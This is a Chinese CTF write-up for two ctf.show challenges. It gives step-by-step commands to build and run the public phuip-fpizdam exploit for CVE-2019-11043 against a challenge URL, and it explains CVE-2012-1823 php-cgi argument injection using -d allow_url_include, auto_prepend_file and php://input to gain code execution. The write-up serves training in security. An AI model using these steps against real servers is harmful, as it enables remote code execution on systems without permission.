php-cve篇(CVE-2019-11043&CVE-2012-1823)

web312

CVE-2019-11043(使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。)

工具是基于go环境的,所以先在kali安装

XML 复制代码
//更新一下apt
sudo apt update
sudo apt upgrade

//安装go
apt install golang

//测试是否成功
go -version


//下载工具源码,下不了的话科学上网开全局
git clone https://github.com/neex/phuip-fpizdam.git

//查看go环境信息
go env

//目录跳转
cd phuip-fpizdam

//安装所需
go get -v && go build

然后利用工具进行远程代码执行的利用go run . "http://351a2d6a-33c8-4a71-b150-2cd1c82b8eac.challenge.ctf.show/index.php"

如果报错如上图,执行命令切换为国内代理:go env -w GOPROXY=https://goproxy.cn

然后回到题目进行rce!

P牛 友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。

web313

CVE-2012-1823

XML 复制代码
这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。

​ RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。
那么就可以构造cgi中的命令!



cgi模式下有如下可控命令行参数可用:

-c 指定php.ini文件(PHP的配置文件)的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

那么好查看源码使用-s(只要没有=就会把querystring当作cgi参数)

然后使用-d设置一下配置项,进行任意文件包含!

XML 复制代码
allow_url_include是否允许通过url进行文件包含
auto_prepend_file这个配置项在图片马也经常用到,在任意脚本执行前先执行指定脚本

由于不能用未编码的=,那么我们编码即可!然后还有就是空格的问题,得用+而不是%20,这不知道为啥,好像说是querystring多用+吧!

用php://input伪协议即可!

相关推荐
Chester_19999 小时前
CSP202203C.计算资源调度器
开发语言·数据结构·c++·蓝桥杯
EXI-小洲10 小时前
Java 操作 Word:字符串替换、图片插入、动态生成表格与API接口下载
java·开发语言·spring boot·word
会周易的程序员10 小时前
给 PLC 写一个字节码虚拟机:STVM 虚拟机架构设计
开发语言·c++·虚拟机·软plc·iec61131·stvm
机器视觉知识推荐、就业指导11 小时前
为什么老说“纯 Qt 没啥就业市场”?
开发语言·qt
telepan11 小时前
Qt 开发避坑与性能指南:如何优雅、安全地定义全局常量字符串?
开发语言·qt
m0_6952514911 小时前
Qt MaintenanceTool 使用国内镜像加速下载(超详细教程)
开发语言·qt
大衛說12 小时前
《Python 从入门到精通》系列总览与学习路线
开发语言·python·学习
可乐鸡翅yeah_13 小时前
hls.js 内存泄漏实战排查,直播 M3U8 长时间播放异常定位方案
开发语言·javascript·python·django·ecmascript·m3u8·m3u8在线
2601_9622035113 小时前
Java进阶07集合(续)
java·开发语言